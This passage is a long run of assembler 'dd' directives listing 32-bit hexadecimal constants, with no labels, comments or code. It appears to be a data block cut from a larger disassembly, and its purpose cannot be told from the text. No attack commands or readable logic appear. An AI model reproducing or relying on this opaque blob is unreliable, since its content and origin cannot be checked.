dd 0B23D8250h, 8FE86172h, 0C06B0940h, 0F5653A50h, 34A51016h
dd 5505E4E9h, 0E0231967h, 4B48FACh, 0F94674h, 0C8AD7975h
dd 97C3CF3Ch, 789890E6h, 88C4AF4Fh, 0E8AC74AAh, 8CFBAC40h
dd 4DF7DA06h, 205877BAh, 0AA3A48B7h, 881CA8CAh, 2B311EEAh
dd 80E714Eh, 0F6F24C32h, 38532230h, 0FA022D03h, 0BD78A64Dh
dd 45B89455h, 151420F9h, 0DE00E774h, 0A58C1CACh, 0B7F6B691h
dd 2BC09C28h, 0F88B78F0h, 1A55283Ch, 57D9F711h, 660044B7h
dd 0A14BDF1Bh, 206E771Dh, 42123465h, 0E349A7h, 0E00BAA8Bh
dd 0DC205Eh, 52E84631h, 76C65D25h, 70D337E6h, 0F6F27404h
dd 29326891h, 0F6FC562Bh, 52F6F1ECh, 245BEB60h, 887CCC92h
dd 0EA825868h, 75FEC2AEh, 0B854FCA9h, 13FE46DCh, 7CFCAB7Ah
dd 0E3256680h, 2A1C2EB1h, 0D380507Dh, 3658ABB9h, 0AEC61433h
dd 681D3862h, 0EAC209B8h, 37F5F8E2h, 96B0F1Ch, 0DCCC8C0Ah
dd 0E113C100h, 6C862E43h, 0C4452556h, 0F71AA822h, 4676305Eh
dd 789C007Bh, 2CCD40F3h, 0EC6F25D1h, 9F11C45Bh, 39450E18h
dd 7B00BFD6h, 3E73EB3Ah, 4BDC6B3Ch, 9D0C810Bh, 6EE00919h
dd 0F5C9639h, 5E049747h, 1ECECCDh, 104886FFh, 0D50026ECh
dd 8A59FAAEh, 0AB3800E8h, 2C320753h, 76C40C0Dh, 0DA38CD3Dh
dd 68F35F5Ah, 502D6910h, 0E8588EFEh, 84EC9214h, 0E170D680h
dd 3002D433h, 430E653Fh, 98905D22h, 623E1241h, 78B82F50h
dd 0DC265228h, 4DA1017Fh, 62767EB4h, 2FD5E41Dh, 2D6D4200h
dd 73A9D2FBh, 0AB643CC0h
dd 0E7C2A30Ch, 0A6F6A281h, 2BEC200Bh, 4894100Fh, 4054B46Ch
dd 21675458h, 0FA4F8B25h, 0A4D525F8h, 562518C6h, 24B4C041h
dd 0D0E69766h, 8CD26C01h, 1ACC9455h, 338CD46h, 0C2CEDA34h
dd 104E8FB6h, 5F0F5C80h, 0BE87015Ah, 0DC296BD8h, 0ECE1A6E6h
dd 0A8C7A93Fh, 28ED7604h, 7EAB2C01h, 0FC04E1h, 71D994h
dd 1ED3AC3Ch, 5B2CE040h, 482E65Fh, 44345CB8h, 3CEC56D8h
dd 0A575F501h, 795F2E2h, 4C4D939h, 80D6FF94h, 0BE5E7BEEh
dd 0F52DAE12h, 0C798AF01h, 29803442h, 0D60FA395h, 0E3005D0Bh
dd 1B746E4Dh, 0E829B21h, 3318F62Ch, 5487DA29h, 690038DEh
dd 7EC68747h, 0D882B5C9h, 445AACA8h, 0A1654815h, 800C0954h
dd 96C7320h, 0F8D41509h, 9CF905F4h, 0EA38EC5Ch, 7223E43Bh
dd 5E75580Bh, 8C716974h, 87084F07h, 0C7D7BC70h, 82E7004Dh
dd 0CECF9FD3h, 2AEF5ED8h, 7BE200B3h, 1A5C930h, 0F045AE15h
dd 2B060E37h, 6BEF5495h, 0E8F02614h, 12813E08h, 594C0197h
dd 2A8C7BC7h, 0C02006Bh, 0E9BE304Bh, 0CAC788E1h, 0F9924CB5h
dd 0CFF060B8h, 0A22D3AF2h, 0E5E46DD2h, 1C94F2F0h, 0EC81EF2Eh
dd 0C272528h, 0F5B61830h, 8424AE05h, 0D17820FBh, 3600E1EAh
dd 41E62F7Eh, 21F90CEh, 47595A25h, 18608107h, 989CA899h
dd 0F044C4ADh, 3C812576h, 0C5A55873h, 6076E420h, 0D24D90h
dd 12E11DBEh, 0CFDD62B7h, 2880A16Fh, 1C65259Fh, 711ACE61h
dd 0B288123Ah, 0A5E18818h, 0CA4BC870h, 0C23F1899h, 56096198h
dd 48B5EB34h, 5E098207h, 1EC2ECC1h, 5C0043EDh, 0D70E3429h
dd 32B158E5h, 0C188FCB2h, 465CA468h, 32FD007Bh, 0D810FCB5h
dd 9539EAB3h, 320EC94h, 256A73A6h, 1871715Bh, 335360C4h
dd 0DD8D454h, 2B006150h, 6CB7DC02h, 148738Eh, 0F525F97Eh
dd 4EBF4978h, 0C0F78898h, 0B68506F8h, 0ED142E03h, 0FA68F62Dh
dd 8498F413h, 0EFCCBACBh, 0E700E46Bh, 72DA2ED3h, 3E2FA6BEh
dd 0E4844EEh, 0EB514732h, 401215C7h, 0AF250AE5h, 56CE5201h
dd 0C8B3394h, 0F134D26Bh, 91D8972Bh, 0F028809Fh, 1C40740h
dd 2D983D9Bh, 0FA665CC0h, 91603557h, 83A38076h, 0F245D150h
dd 8F790153h, 0A2F4D38Eh, 0D4CF2ADAh, 72C17188h, 812F607Bh
dd 4246965Ch, 4520E3ECh, 0F4DE6E5h, 6D2BAB81h, 175EB0C0h
dd 800526FFh, 0F9BF68A1h, 6184F4FCh, 101481h, 21E21883h
dd 25B848Eh, 54A1361Ch, 54FC60h, 6D145502h, 5E6854AAh
dd 43073146h, 0AB7901DBh, 8B65E85Ch, 0AB1E00EDh, 34C34E44h
dd 84E213h, 0D7225163h, 0EB74Fh, 15EE36D1h, 0C3DFAC73h
dd 0C0CCB44Ah, 0B1140283h, 913F0F03h, 0F4D45Eh, 3687705Dh
dd 0FED6FBC3h, 0CA9EF507h, 0F2D91776h, 120C5AF0h, 0B4F43030h
dd 991FA41Fh, 0AAC1F8FFh, 91F2B2ADh, 73850B07h, 0A0A8B719h
dd 44FECA6h, 0F54D5BCh, 77CE4040h, 2D27864Dh, 28799835h
dd 97C84EA5h, 0D3121435h, 4F13FD0Eh, 0CB53A0DEh, 9DEDC67Bh
dd 8C07C490h, 77D9C701h, 3BC0DE08h, 1EE00EE9h, 0E09B4EB1h
dd 48943288h, 0DCFC7625h, 6C8EBF00h, 2D99C480h, 0F6434FE0h
dd 6B8BE0ACh, 0F16A2584h, 0CB377858h, 0DB872191h, 2186E86h
dd 0AB9AC483h, 945226D6h, 290173F0h, 9B48495Ah, 430A33Fh
dd 0D2390578h, 0C723B7FFh, 0CC7C7268h, 3258E4DBh, 222BF1BDh
dd 744013E4h, 94F56C6h, 0AC318A0h, 61807A63h, 259B0784h
dd 41DA9022h, 9A5A95CDh, 6F21A8E6h, 3ABA8202h, 94462BF0h
dd 0DBA840F5h, 21008FE9h, 33B5F3DAh, 54886C5h, 8DF7EBC2h
dd 0C4840038h, 0B5F1DC98h, 8C2A3B13h, 0D2AC0CADh, 9A6EE704h
dd 0FCAC1C2Fh, 6C33BBD2h, 302D8966h, 71013A00h, 0FA89CB0Bh
dd 7924D1BEh, 28018F9h, 11FD70FEh, 74609B0Dh, 55829089h
dd 99022496h, 5B2FB430h, 49CF1A6h, 269750CBh, 9B60D388h
dd 3DB08200h, 407A4Dh, 0AF5545C9h, 0A9D4736Dh, 26760701h
dd 938D0EDBh, 72C7A2Ah, 0FE290968h, 66FF5DE1h, 0B9EC813Ah
dd 0AA8A01C5h, 0BE88E42Bh, 5320E4B0h, 6FE91F7Ch, 8383FCE7h
dd 2766BAE2h, 4EE58BA0h, 0ED749490h, 71D3902Dh, 0EBDC806Ch
dd 0BBE243C9h, 6C8B854Bh, 7461C721h, 289A6523h, 180321CBh
dd 491D823Bh, 0C625258Bh, 0C426176Ch, 0BCA8A853h, 0B8128C91h
dd 0C0CBFC1Ah, 0B4C074C8h, 723236h, 33BDF60Dh, 0D5D73CA7h
dd 8B5E5F72h, 0B64A2843h, 59A2808Dh, 0FCF3EED3h, 0D8B3610Ah
dd 72DB080Eh, 68A284E4h, 6EEA2095h, 65D0040h, 12CEF422h
dd 588D64BDh, 0A36CBC9Eh, 9B595B1Ah, 948E8048h, 0B71FFD7Dh
dd 0CC07AC10h, 0EB463F1Eh, 0F180DE9Dh, 8BB95B5Ah, 0D6D10055h
dd 997BDA7Fh, 252566C6h, 26FC6E2Bh, 46506D48h, 0ACBC6A2Ch
dd 0CB9542h, 6736ACC1h, 709CC495h, 0C0EC481Eh, 8985E2Eh
dd 6F80400Eh, 0F53615FDh, 0F0644A7Ch, 0B0275C64h, 9970E827h
dd 1CB67BEFh, 0DF3DBA78h, 3F040061h, 0D03E9FD8h, 0A04D2227h
dd 7C24E834h, 0E161033Dh, 9E791F9Ch, 8882BEE0h, 8A0B8EFEh
dd 0FEDF333Fh, 0B0B20024h, 0D7C57E66h, 97703697h, 0EC0346Dh
dd 251AAD67h, 24799849h, 0D428F46Bh, 0B28CC400h, 362ACC37h
dd 0BF1F0789h, 7BCD76C6h, 328888D6h, 81C24CFh, 0A206281Dh
dd 9519FA52h, 8C088C66h, 0ADC04A5Ah, 7A08585Bh, 0C0D4E9E2h
dd 0AFB709D4h, 1CC09D1Ah, 7C0F70E4h, 0CB9A23C6h, 0D6485C94h
dd 0FC043346h, 0AE6A88AFh, 6EFA6424h, 0EE270244h, 0E7BA0824h
dd 603044B4h, 62EE8E69h, 0F91268E5h, 3216B054h, 0A4D6480Ah
dd 59987BADh, 56189Dh, 4A48DA0h, 68B03F6Ch, 419F792Dh
dd 982BFC30h, 8E20527Ch, 0A3F14AC7h, 0A1F90E98h, 0BE018158h
dd 0C423DA23h, 0AC22EC0Eh, 0D96AC140h, 90958DE9h, 718970h
dd 29380C02h, 5F4586Eh, 0DDF13B1Ch, 447DBE8Bh, 3EA300F4h
dd 0CC4F3243h, 3B481799h, 2C7B00B5h, 0B3BD5E5Ch, 79673A15h
dd 0FCECF04Eh, 0B6258CACh, 5987119h, 0E85B716Ah, 200E2DB4h
dd 601E509Ch, 0FE150044h, 5CC676BEh, 0F014A09Bh, 20B824CAh
dd 5AA09293h, 0E224B3DCh, 68D53033h, 0C88B9A2Dh, 0FE6AEB8h
dd 0F8FB8861h, 9CAB20E7h, 0B4121931h, 30BCEA38h, 0B81ED101h
dd 3F897194h, 3023D43Eh, 0F0E08800h, 7C58AB8Ah, 0D3111256h
dd 0C808CE7Bh, 99CEC03Eh, 9298D95Eh, 0A976C40Bh, 5CAC6923h
dd 0BC8C8214h, 6962C05Ch, 18D7B2h, 0F7047F0Dh, 5B796F0Eh
dd 1C6CECF1h, 0FC263416h, 8C90EC68h, 7EA5D101h, 4B2168AFh
dd 8F358A7h, 671C817Bh, 1242CDF8h, 0B0C851BEh, 0F84A2914h
dd 0A01B70E1h, 6AC0C2C0h, 0B5ADBB3h, 0F6D708E3h, 0C96AA060h
dd 0EE3DECC5h, 204B00BCh, 63188050h, 1E760F2Dh, 609B60D3h
dd 2B104780h, 7F090350h, 827D78E4h, 0DED08100h, 719F4020h
dd 9200EA62h, 7568E85Eh, 0F85B98Ch, 0EF5A49CDh, 7C536529h
dd 0BFC9570h, 7FA8F577h, 7E436C54h, 2F11D861h, 0CAD90998h
dd 5CFCDD6Eh, 37ACB725h, 96C04FE2h, 82FACEAAh, 2CC2834Bh
dd 0C53302D3h, 0EDE405h, 30E8BB25h, 0B161883h, 0CCBB611h
dd 0C7C473C8h, 22E5A481h, 8F66044h, 0D5C2BE0h, 9593880h
dd 2AFAACD1h, 54491C76h, 0F312DC08h, 0F3001481h, 216A4BD4h
dd 0E47D4A47h, 382522F4h, 0DED8DEDFh, 0B2718B07h, 6C329432h
dd 0F409579Dh, 2400C076h, 19688EA8h, 845297CBh, 13EBCF5Ch
dd 84088FF6h, 0A9849220h, 0C8612EC0h, 0C248F901h, 5838182Dh
dd 0D85C894Ah, 8301B372h
dd 2F7C8AC1h, 58D8F448h, 0A0D87168h, 84A46698h, 0E105A670h
dd 97753463h, 23BC3BFAh, 80780072h, 37704F12h, 0E6E1F925h
dd 3066B5A8h, 0ADE65488h, 270E958h, 0FA18F715h, 40DC7440h
dd 0B0E22223h, 0D200F378h, 75F06384h, 40E1964h, 0DE997B0Ch
dd 3D30F48Bh, 0B8FFC700h, 8107E608h, 9EC90033h, 0FE1DB003h
dd 84127EF2h, 94F238F0h, 0ACACBD88h, 583C4674h, 16670019h
dd 0BA40A96Ch, 2D39F4ABh, 0CE5A408h, 0D16031E4h, 5B07F84Ch
dd 3A2CA62Ah, 0C08DF642h, 275DBC24h, 0C4828AE4h, 40C1F7EAh
dd 0D03471BDh, 63F8FC5Bh, 7B40BC9Ch, 48B0C635h, 0EE0423F7h
dd 0AEA7F91Eh, 2BBED474h, 7523E4h, 7FB5C65Fh, 46127A06h
dd 0D0F3FE4Dh, 3ED9FD84h, 0B10E3F23h, 0F2070782h, 28E4AFC1h
dd 1185C62h, 54F36948h, 0F23B5E70h, 0E2038062h, 0FBA5E3BEh
dd 0AEC30421h, 0B9A172C2h, 37580BB4h, 0C9A05C65h, 0D450D4h
dd 0A91C3E40h, 7D0A1A42h, 0CF71F000h, 94BA9758h, 0ACEB09C0h
dd 0E0C56235h, 336096E4h, 0DE008055h, 0BFA548BCh, 5D17796Ah
dd 4F22EC68h, 1F6D6000h, 5D2E809Ah, 47EA1E57h, 83EB81E7h
dd 2BBE6439h, 0F8C14D8h, 0B869B713h, 12C32D85h, 0B88CBD0Ch
dd 5D2B00A0h, 66C6386Eh, 30BFCAB9h, 0CD3F20h, 6BC78587h
dd 46A3B8F4h, 5C6C0B9Fh, 6A00DCC8h, 173C841Bh, 12EF2CEh
dd 8C407669h, 3989588Fh, 381D01B0h, 0E65250F6h, 0C43D5DF0h
dd 0BEAA8A99h, 0F8B9A894h, 118B8288h, 44B870EFh, 80B38E47h
dd 0E827F804h, 0AFBDE8D0h, 1E1200C5h, 0AC2CFFAEh, 0C9302943h
dd 0C5421EEh, 1A1F008Eh, 9BAF03DFh, 24B89746h, 8440D33Bh
dd 60A4AB32h, 5E1FF8A8h, 903D9856h, 74B53A8h, 0ACC268ACh
dd 7C564D1Ah, 2C7925h, 0ECE49B3Ch, 0A0025906h, 4AB68130h
dd 1424FDE5h, 7C38058Ch, 0DF282404h, 6580F0E8h, 0A10AFACFh
dd 0BC87D582h, 779C2BFh, 2B863449h, 0C48004C1h, 13618B30h
dd 90F5665Eh, 54A17778h, 0BFDE7A12h, 2E27CC8h, 0B662D5ABh
dd 0AC542687h, 7A60D0A4h, 166A94h, 0F28CAB39h, 8E1392F8h
dd 0ECCA1005h, 3804F78h, 9FF95B67h, 1C2C461h, 58C6AA82h
dd 0B4DE0054h, 0C61064D7h, 40756624h, 0C4267A05h, 64FC8956h
dd 4869FC0Fh, 40D19D89h, 22E35704h, 0E9AC40BFh, 0CED9566Ch
dd 0ED830C2h, 82E851B8h, 0ACF2CAADh, 1E2760D0h, 0A410E1E7h
dd 80DC926Bh, 3218B875h, 2A460067h, 43AF6B95h, 0B22D8AD7h
dd 0B480604Eh, 0C7012710h, 731B84E1h, 8839F0h, 99F0242Dh
dd 0A27EC6F6h, 401C5E7Ch, 0BE451EC4h, 4FB76603h, 98C00BD7h
dd 11164883h, 1264D3Ch, 0A7B712AAh, 0E62E46DEh, 0A6B5E0B0h
dd 21B80017h, 6795345Bh, 0A4A9AC8Ah, 0C6EA201Eh, 7B48A603h
dd 1789B017h, 252DADB0h, 0FDF081E8h, 0B3B8003Dh, 0ACC1B766h
dd 24C5F17Ch, 0BE497220h, 0CCAD4BB4h, 2B001DB8h, 0A57C52C1h
dd 9DCC963Eh, 9865835h, 20B0D0E6h, 2D0229D5h, 79675B7Ch
dd 0A29380FFh, 0B7081FCCh, 26034EDh, 68F65h, 5D6F0D35h
dd 28EA20B8h, 0DB93100Dh, 0B32A885Fh, 3070B280h, 0D52DEFCEh
dd 6B487BA5h, 1DD4D4DCh, 9E241430h, 2AECC2DCh, 3CF6448Bh
dd 0DCC75109h, 8C1FDC18h, 0EC802DB4h, 57C5BC50h, 2AC99E5h
dd 0E2FEBB22h, 4396A8D3h, 0F4018C90h, 0F5F60165h, 0D2C16E59h
dd 2C4730D6h, 9900A4EEh, 0DF9CC5D7h, 0BD16CAACh, 0AE8A4440h
dd 0F101F4A8h, 7D1F3600h, 90E6CF74h, 7A22251Bh, 9569474h
dd 0FDBF688Eh, 4A11248Fh, 2CD8C8h, 8515704Bh, 0EA55F668h
dd 5DBBC00h, 0AFB9C08Ah, 0E90D0161h, 291AA5BFh, 0AC222F94h
dd 6DFC6A13h, 9AF5E084h, 2200A4F9h, 1A72DEE2h, 0E250DEBh
dd 0AB762071h, 845B2834h, 28F4F5E8h, 8C77E8B4h, 5D82C401h
dd 76C6545Bh, 0ABF8943Fh, 2C0A88DDh, 0A5C07A88h, 2C644FAh
dd 41893416h, 42577F2Fh, 0F0B57588h, 16254880h, 56E23D0h
dd 0BAF734C6h, 0AE38D5AAh, 8A67A828h, 0AEA498FDh, 987A27F2h
dd 268100FBh, 22286F48h, 58412C02h, 0A42C58F1h, 43C1283Dh
dd 48E98876h, 94A4654Ah, 54E4B5D8h, 0D7092C1Fh, 0B2C31841h
dd 9B6EBF89h, 0D0D38024h, 4CE2F57h, 1A2D4C4Ah, 4A54EC39h
dd 0B10084BCh, 8DBD6B54h, 9917DB1Dh, 0F0F2EE3Eh, 0A03392F2h
dd 4B9BE0Dh, 0C2AEFDCDh, 174B8C6h, 0C32962E9h, 7A6BBAD5h
dd 38660558h, 30AB1D2Fh, 6BAF4C0h, 1AD7E4AAh, 0A0ED7588h
dd 818203C0h, 226B2DDDh, 0C60024F9h, 5BF2643Ch, 0BAD85053h
dd 83DC3AD0h, 69DA400h, 3624E48Fh, 0AE254899h, 0AFF9C75Ch
dd 691E604Eh, 97DA4392h, 6D9724D2h, 66DAC00Ch, 0E7542720h
dd 613A038Ch, 7A4B87A8h, 0AEFE0A3Bh, 0A57E64B4h, 4BD8A0F0h
dd 68E38Fh, 0F1892039h, 0E28244h, 0A7FD1115h, 98068C7Dh
dd 0EE7F0D00h, 0C5F6128Bh, 0B9CA05A6h, 0AF99C4D9h, 8A2A474h
dd 4E3070B2h, 9DFD0987h, 0F8811828h, 6BCD4A53h, 0DB3EA4DDh
dd 0BC0E80E8h, 0BD4FF8h, 58A1A9C2h, 9226ACC5h, 6A28A563h
dd 744B9A21h, 0A45BE954h, 547FB70h, 726DCF9Ah, 2054FCFCh
dd 0B48A5289h, 5DF45200h, 1445C67h, 614E421Fh, 3EEEFB12h
dd 0FE23A8h, 5B2F65D8h, 4995EC06h, 7810CF0Ch, 9F31D6B9h
dd 86BEE0A9h, 0CC90A6h, 87319325h, 539741AEh, 0C7F873A0h
dd 737E1B4Bh, 0F618B725h, 0A6AD1318h, 33FAA264h, 771330D7h
dd 4D4C71CCh, 989080B4h, 4AC20628h, 6624F09Bh, 27115612h
dd 0DE25681Dh, 9AF340FCh, 0EB057E90h, 42ED48A4h, 0E539FD80h
dd 27FF1392h, 3080C581h, 32177098h, 0C575B30Ch, 2FAE45A2h
dd 9462348Eh, 0B5540077h, 2DAF103Bh, 0F0E09EC2h, 0DA957194h
dd 0A71D0274h, 156369ECh, 0E860A1DDh, 3A2957h, 0E356AC98h
dd 0CA22288Ah, 8CA29793h, 70E1A612h, 3AE2E1DDh, 0DBE0D4E6h
dd 0F405EBABh, 21664BE6h, 3AF288F3h, 1B88630h, 0A82589D4h
dd 0DDE5035Dh, 0F4403A27h, 8B3BBD06h, 668524DFh, 0F11B00E5h
dd 0A2AB3347h, 900449D2h, 0A4E0DD6Eh, 0DEFC00DAh, 0D0788AB8h
dd 0F312BC9h, 9268294Bh, 15D0BC8h, 78056FA6h, 3E9522A0h
dd 57CFD8D2h, 2301D8B7h, 4C1B4D4Fh, 13D58E20h, 0E3B6D99Ah
dd 2D3204A8h, 12BB52BBh, 182DAF38h, 6000DC63h, 403371C2h
dd 871F9BE0h, 6F406D88h, 24591CEEh, 0F9D42589h, 0F151105Eh
dd 88C8CF2Bh, 1A4EC03Ah, 0D9026DCEh, 9C29FB7Dh, 94C7ECFh
dd 467820Fh, 8D607BC4h, 90002DAEh, 308AE5F1h, 2D56644Ah
dd 0CC793D61h, 0E8502FDDh, 0C064ED9Dh, 0C156C4F8h, 0DCF02C68h
dd 0D041B217h, 526E45Ch, 5DCCED2h, 0F0BDC7E8h, 798AC0DCh
dd 0C0091754h, 75CA9258h, 7303A481h, 401D08DEh, 56126EEFh
dd 7CF72149h, 38C8E25Eh, 0E0057F01h, 0B87C2F8Dh, 0D6B430AFh
dd 0A84B36CAh, 0B0836CDCh, 974C90C0h, 7856F81Ah, 0E518FB5Eh
dd 0B39CAA05h, 0A0E4425Ch, 297C5Eh, 0FA8CC296h, 7E709FFFh
dd 0C2CE248h, 0D025156Eh, 52A33A22h, 3494C3CEh, 0C8F3F9CBh
dd 68C0DF93h, 0C0958753h, 93CA60Ch, 9B9501E8h, 5EA7D85Bh
dd 3FA0D480h, 0C125E551h, 0AFD860ACh, 0E377825Dh, 69029C90h
dd 4F57ADB9h, 0E920E05Ch, 74415316h, 5B90E72Ah, 8AA018E6h
dd 7E4E3056h, 0DB6A108Dh, 49E780D8h, 49766629h, 2C13DCD1h
dd 7D888D7Ch, 6BD0B9F4h, 3F15029Dh, 0EE1DA486h, 0EDC345Ch
dd 1216B6BAh, 0E8DA6724h, 40DB4B48h, 0C729C384h, 0C2AB6011h
dd 0E8A26FECh, 58C9D48Bh
dd 90403F0Eh, 9A39203Dh, 5B6C7F9Eh, 0DE90D0A0h, 8C092F9Ch
dd 0C7CD913Eh, 607244A4h, 90CA5CBDh, 0B7715BDFh, 0C4222EB4h
dd 28E30A08h, 6CBFBFE4h, 7E0C9A80h, 298548Ch, 0F33C2414h
dd 98637DBCh, 5B9F2900h, 0D246A38Bh, 0FAEC00EDh, 0EAE75888h
dd 7E901AEEh, 97018C84h, 9B6BAF23h, 43BDB72h, 0BBB05CCCh
dd 0D83F82Ah, 0C5FBDE35h, 9A8A9CC8h, 0EEAFAB25h, 38AB9774h
dd 6080B0B7h, 0B504D27Eh, 0CF100453h, 0AB8E22CAh, 0F63468CEh
dd 186EAFA1h, 0A32DB502h, 6C00C632h, 81C42556h, 59BFE411h
dd 0A2A4D700h, 0BE612CD4h, 0F879957Dh, 20ECA5h, 26A924A6h
dd 7EC8713Bh, 1C4E3324h, 274FA853h, 98C41692h, 614C04F9h
dd 5AA207C9h, 0BE09CC24h, 6B032802h, 72AFA404h, 512B8D80h
dd 999F3FC8h, 409C9CEBh, 66C18172h, 0B597CAEEh, 873F91FCh
dd 2DC017DDh, 13100BE7h, 5E537967h, 0A0A6F9C0h, 0E0253Fh
dd 8231FAAEh, 250DA8A7h, 5AA5D8ECh, 9658F363h, 7A23642Eh
dd 0F0CAEB00h, 0E9B8135h, 7513746Bh, 0DEA55F41h, 4FD1D3A8h
dd 2C38703Eh, 0C32938C4h, 548B2C88h, 7BFC94h, 9D1A855h
dd 0F41E92AFh, 713B700h, 510BE0B3h, 0B0EA073Ah, 0F0ACDB38h
dd 430C8E5Fh, 76893F02h, 78FE8A6Eh, 4A2900F4h, 0E9447D40h
dd 13002A8Dh, 52725ABEh, 2DB0E6h, 7559BD14h, 0E7620310h
dd 87362E00h, 7C7360A0h, 2D2B00E6h, 7D7ABAB2h, 0AF077952h
dd 94961266h, 91706770h, 8D1000Ch, 7F7A372Fh, 0ECED181Fh
dd 5C00B028h, 8AEC4079h, 1BBA4Dh, 0CF1722BFh, 3A9FDD9Eh
dd 381ED400h, 4E12551Ch, 675F3915h, 6E262E87h, 0BF87F085h
dd 4907746Fh, 0D8ED24E3h, 38212FA0h, 0B81200D5h, 0D2EF1583h
dd 360B197Bh, 0F90E4A6h, 1A540337h, 21D8D8D3h, 762300EDh
dd 288703D2h, 3E00DD27h, 0DCAA694h, 3E58F85Ch, 35807274h
dd 1B4093Ch, 807F74Bh, 18D76D63h, 0BD8DD510h, 30A5121Ch
dd 9A4003Ah, 36EF4F1Fh, 0C6F67C00h, 0BA9EB4E6h, 7940B7Dh
dd 20400A6Ch, 0CC00E37Fh, 0A71FF5E9h, 0D1B777h, 0D3E04856h
dd 0B0EF7B7Eh, 11ABA400h, 18460ACBh, 929700D7h, 346EDFF7h
dd 8FE86C90h, 271E6A12h, 720C4C40h, 0CFE35Ah, 0E728DEE8h
dd 832CF791h, 0A5F4CE00h, 318BBBB0h, 0E0C2018Ah, 47899B9Ch
dd 610ADD71h, 0B8F08E12h, 6FAFE0D6h, 189C9AB5h, 48E69376h
dd 6E00F894h, 0BD243FCFh, 0F51920h, 1B1C7D85h, 0CBE348FFh
dd 562BE417h, 0FA67C100h, 3D27747h, 694B3DF1h, 0CBBB04CCh
dd 0A90FEEF8h, 3F7C5600h, 0D68C423h, 0F51E00F3h, 4DF6CAFCh
dd 34FA757Fh, 8F373D3Bh, 0FB788690h, 98B4B389h, 21BB796h
dd 0B4C1051h, 5C006141h, 0A5CB09h, 9624F74Fh, 0F8E17C2Bh
dd 9F80FB00h, 40E4C546h, 42E503BCh, 6A8818CEh, 0A0A0AAE2h
dd 0CC5808Dh, 3733EE00h, 0C80376E8h, 0EB7C0005h, 749FB327h
dd 0BC0184A1h, 0F22DDE66h, 0E080D6A9h, 0E10C2FA5h, 0F8033732h
dd 338F5C54h, 97B4C829h, 5AE4001Fh, 8E0FEB78h, 0DE003195h
dd 0B6AC7F7h, 4C7C7B92h, 6F4C5A09h, 7DA4100Eh, 8415E421h
dd 0EB5F434h, 7ECB4601h, 6A4B5171h, 4EB32C20h, 747CA4C7h
dd 6C02CDECh, 53ED37Ah, 0FD648024h, 0FBFA0FBh, 0E5DF4CB0h
dd 0EAB7CF1Dh, 0E0522180h, 0A40279B6h, 5CB2596Fh, 693040B5h
dd 0BC6B0F6Eh, 7D403C49h, 8872C3A1h, 0C68E310Bh, 3E98D0ECh
dd 0A683AAE9h, 0B50FAD8Ch, 8041E582h, 0FF5FDC19h, 0E9BD0603h
dd 0AB99C6h, 0B30A57A9h, 0BC984AE3h, 55AE6303h, 0C8E2C31Bh
dd 0FA822C41h, 0D8A10E81h, 0FA6CDE38h, 202C450h, 1ED0C0E1h
dd 34106831h, 4C0A00CAh, 6A58E61Ch, 3A7F9DF9h, 0D2C43F18h
dd 274DE39h, 0BB8EEFE5h, 0B3E0E435h, 1400AE52h, 9981B6EBh
dd 19532A4h, 0C943925Fh, 30804EEAh, 0DD00C57Bh, 658B4A03h
dd 26257779h, 3D33213Eh, 0B4447000h, 0A3544C26h, 37DA1209h
dd 64108711h, 0D1B87500h, 0FFD80C2Dh, 0E528B5F9h, 0CD0EC17Ah
dd 0C034BA81h, 0CE802833h, 0E3D700A4h, 5D86DAE4h, 0D000AC92h
dd 9C6CF48Bh, 4160EA6h, 88CDA2E2h, 10BCA087h, 6346C300h
dd 412878C5h, 187CAFh, 7A7FB8E0h, 0CBC881Dh, 48E43300h
dd 0DA70F19Ah, 73DC0117h, 0DB2F0932h, 9BEF3024h, 0A7BF7500h
dd 0F9716C57h, 5D90013Eh, 4DA43505h, 93CEF052h, 0BE874801h
dd 0F253F8C1h, 3E869820h, 6812846Ah, 262D017Ah, 64D111B4h
dd 8938FE50h, 64EB00A0h, 28C6B31Dh, 8A4802B6h, 12DA90A9h
dd 2AD69440h, 0AC70EE00h, 38375643h, 0D82738FEh, 9F2EC50h
dd 1BBBAFEFh, 123BAA80h, 4500851Ah, 3EFB4C4Bh, 50E1249Fh
dd 94EF063h, 7FAFBFA7h, 251A8AAh, 56E71CBCh, 9690E260h
dd 0A20A8971h, 0D4DDD666h, 7148C500h, 793E3629h, 0F40100C1h
dd 4D7A211Ch, 90044745h, 0C440AE61h, 0D46FCC80h, 0E3760F95h
dd 9400429Ah, 0C14D09Eh, 821B2214h, 268E00D9h, 461FDC7Ch
dd 6F590AF7h, 3CFC7A34h, 0A421BD03h, 58882705h, 0A500370Ch
dd 59772D69h, 0E6481A7Dh, 91A8005Ch, 0AFB98BE4h, 0D101EED0h
dd 634AC41Fh, 0ADC0FC6h, 3FC00C1h, 0E1B399B9h, 4400E8DEh
dd 8C17DB4Fh, 0E8AB8B53h, 27760078h, 0B8223930h, 0FE005C59h
dd 9CE80AB5h, 0A88FA1h, 8A15BA6Fh, 0B9751CC5h, 0CA0BD000h
dd 0A457E81Dh, 96E30009h, 8C638993h, 0E0015B52h, 18D19199h
dd 0ED3032ADh, 0B7200E2h, 0AFF110CDh, 0A1799F4Eh, 59DFC407h
dd 81709B30h, 88D59Ch, 46C7BF92h, 93E4242Dh, 8C00B090h
dd 0FFF357Dh, 3E3E214Ch, 568040E3h, 0C0B895B2h, 24007DE1h
dd 0D062EAA5h, 0ED5C8Ch, 7C70473h, 35854F52h, 0E8CA8200h
dd 0B8E9B04Ch, 9EFF00E3h, 0F1D00754h, 0BA3DADCFh, 0FD5E00C2h
dd 0C70CDAF2h, 4C0E0751h, 0C430CC33h, 89ACF414h, 1A070500h
dd 0AC68F521h, 90770F9Dh, 94A0A226h, 0EBAAA7ADh, 0FE80A500h
dd 3F08E70Bh, 964C00E0h, 2D17DCCh, 61018F44h, 0D37EB6B3h
dd 1831481Ch, 7BBBE8h, 0F4431FD2h, 6DA38A58h, 0BBACC04h
dd 8B8FACFh, 33637871h, 3211F508h, 42D21C0h, 0A651DE13h
dd 8024984Bh, 0C5966CDCh, 0E8FB98BBh, 7D581E8Ch, 22EA8BAAh
dd 87F76980h, 239D03A6h, 0D64D0BCCh, 63C22D59h, 0F943D886h
dd 0D43EB91Eh, 4FCF817Fh, 0DED21183h, 8652E0h, 6A9F53C1h
dd 68BA21C8h, 28E70CFh, 801EA745h, 22651030h, 87E707C0h
dd 4BFFC4FDh, 25B24801h, 0DC344067h, 0A000A652h, 0EDFCF4Bh
dd 0F8BF863Ch, 73E300F0h, 0A2DACE96h, 930F0224h, 0A370235Ah
dd 81FA52E2h, 0B0C78CAEh, 4BB03Dh, 1D1E8E83h, 0D309D044h
